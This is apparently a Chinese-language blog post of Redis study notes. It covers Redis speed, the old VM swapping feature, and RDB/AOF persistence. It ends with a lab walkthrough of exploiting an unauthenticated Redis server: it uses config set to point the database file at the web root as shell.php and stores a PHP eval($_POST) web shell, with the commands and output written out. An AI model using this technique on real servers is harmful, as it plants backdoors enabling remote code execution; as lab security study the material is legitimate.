本文已参与「新人创作礼」活动,一起开启掘金创作之路。
first
先了解一下什么是redis
引用wiki 远程词典服务器 一个内存中的数据结构存储
redis.conf中提到
那么 redis为啥这么快呢
硬盘数据库和内存数据库工作模式的区别:
硬盘:
内存:
关于存储器层次结构
这边突然想到内存的存储量是有限的,那么当数据量过于庞大时,redis该怎么处理呢?
Redis处理的速度很快,因为它是基于内存的。在内存能够足够容纳数据的时候,所有的数据都存放在内存。这个时候不论是读取数据还是写入数据都是非常快的。但是如果数据量很大,大到内存已经无法全部容纳的时候,我想对存储有一定了解的人都在想,这个时候redis是怎么处理的呢?处理速度是否会直线下降?
幸亏,答案是否定的。Redis使用到了VM,在redis.conf设置vm-enabled yes 即开启VM功能。 通过VM功能可以实现冷热数据分离。使热数据仍在内存中,冷数据保存到磁盘。Redis并没有使用OS提供的Swap,而是自己实现。
Reasons:
1:OS是基于page(4K)来做的,它的粒度对于Redis来说太大。而redis的大多数对象都远小于4k,所以一个OS页面上可能有多个redis对象。另外redis的集合对象类型如list,set可能存在与多个OS页面上。最终可能造成只有10%的key被经常访问,但是所有OS页面都会被OS认为是活跃的,这样只有内存真正耗尽时OS才会交换页面。
2:相比于OS的交换方式。redis可以将被交换到磁盘的对象进行压缩,保存到磁盘的对象可以去除指针和对象元数据信息。一般压缩后对象会比内存中对象小10倍。这样redis的vm会比OS vm能少做很多io操作。
3:OS交换的时候,是会阻塞线程的,而Redis可以设置让工作线程来完成,主线程仍可以继续接收client的请求。
开启VM功能后,还有其他几个设置需要设置vm-swap-file:设置被交换出的值保存到磁盘的位置。vm-max-memory:设置当内存消耗达到上限时开始将value交换出来。vm-page-size:设置单个页面的大小,单位是字节。vm-pages:设置最多能交换保存多少个页到磁盘。可以算出可以交换出来的最大大小为vm-page-size * vm-pages。vm-max-threads:设置完成交换动作的工作线程数,设置为0表示不使用工作线程而使用主线程,这会以阻塞的方式来运行。建议设置成CPU核个数。
Redis为了保证查找的速度,只会将value交换出去,而在内存中保留所有的Key。所以它非常适合Key很小,Value很大的存储结构。如果Key很大,value很小,那么vm可能还是无法满足需求。redis规定同一个页面只能保存一个对象。但是一个对象可以保存在多个页面中。在redis使用的内存没超过vm-max-memory之前是不会交换任何value的。当超过最大内存限制后,redis会选择较老的对象。如果两个对象一样老会优先交换比较大的对象,将它从内存中移除,这样会更加节约内存。精确的公式swappability = age*log(size_in_memory)。
既然对于Redis来说,一个页面只会保存一个对象,也就是一个Value值,所以应该将vm-page-size设置成大多数value可以保存进去。如果设置太小,一个value对象就会占用几个页面,如果设置太大,就会造成页面空闲空间浪费。每个页面,Redis都会在内存中使用1比特(bit)长度来保存页面的空闲状态。如果设置的vm-pages非常大,那么光用来保存页面状态就会花费很大的内存。
VM的工作机制:分为两种
第一种:vm-max-threads = 0
换出
主线程定期检查使用的内存大小,如果发现内存超出最大上限,会直接以阻塞的方式,将选中的对象保存到换出文件中,并释放对象占用的内存,此过程会一直重复直到下面条件满足:
1.内存使用降到最大限制以下,2. 设置的交换文件数量达到上限,3. 几乎全部的对象都被交换到磁盘了
换入
当有client请求的value之前已被换出时,主线程会以阻塞的方式从换出文件中加载对应的value对象,加载时此时会阻塞所有client,然后再处理client的请求。
第二种:vm-max-threads > 0
换出
当主线程检测到使用内存超过最大上限,会将选中的要交换的对象信息放到一个队列中交由工作线程后台处理,主线程会继续处理client请求。
换入
如果有client请求value之前已被换出时,主线程先阻塞当个client,然后将加载对象的信息放到一个队列中,让工作线程去加载,此进主线程继续处理其他client请求。加载完毕后工作线程通知主线程。主线程再执行被阻塞的client的命令。这种方式只阻塞单个client。
对以上问题这篇文章解读的很棒
精华:揭秘Redis的磁盘持久化机制
Redis 是内存数据库,数据都是存储在内存中,为了避免进程退出导致数据的永久丢失,需要定期将 Redis 中的数据以数据或命令的形式从内存保存到本地磁盘。当下次 Redis 重启时,利用持久化文件进行数据恢复。Redis 提供了 RDB 和 AOF 两种持久化机制,前者将当前的数据保存到磁盘,后者则是将每次执行的写命令保存到磁盘(类似于 MySQL 的 Binlog)
2. RDB持久化
RDB 持久化(也称作快照持久化)是指将内存中的数据生成快照保存到磁盘里面,保存的文件后缀是 .rdb。rdb 文件是一个经过压缩的二进制文件,当 Redis 重新启动时,可以读取 rdb 快照文件恢复数据。RDB 功能最核心的是 rdbSave 和 rdbLoad 两个函数, 前者用于生成 RDB 文件并保存到磁盘,而后者则用于将 RDB 文件中的数据重新载入到内存中:
redis未授权访问writeshell
靶机:kali 192.168.203.128(有lamp环境)
攻击机:ubuntu 192.168.203.129
前提条件:
redis.conf
1.靶机redis不需要密码验证 #注释require password
2.redis bind绑定的ip 127.0.0.1(只允许本机)-->0.0.0.0(所有主机)
3.protected mode yes-->no(外部网络可以直接访问)
扫盲 config set
Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
redis-cli -h 192.168.203.128 客户端连接redis服务器
192.168.203.128:6379> config set dir /var/www/html
OK
#指定本地数据库存放目录
192.168.203.128:6379> config set dbfilename shell.php
OK
#指定本地数据库文件名
192.168.203.128:6379> set webshell "\n\n\n<?php @eval($_POST['shell']);?>\n\n\n"
OK
#此处webshell为key 后面的码是value 构成key-value
&&此处需要换行的原因是
#redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。
192.168.203.128:6379> save
OK
此时进入靶机www目录,此时redis的本地数据库文件已经生成了!
file看了一下文件格式
root@kali:/var/www/html# file shell.php
shell.php: Redis RDB file, version 0009
cat一下发现乱码
root@kali:/var/www/html# cat shell.php
REDIS0009� redis-ver6.0.11�
�edis-bits�@�ctimeV�`used-mem�
aof-preamble��webshell%
<?php @eval($_POST['shell']);?>
��z�+U$|Groot@kali:/var/www/html#
rdb 文件是一个经过压缩的二进制文件直接cat肯定乱码
winhex视图
这边可以看到key: webshell
got it!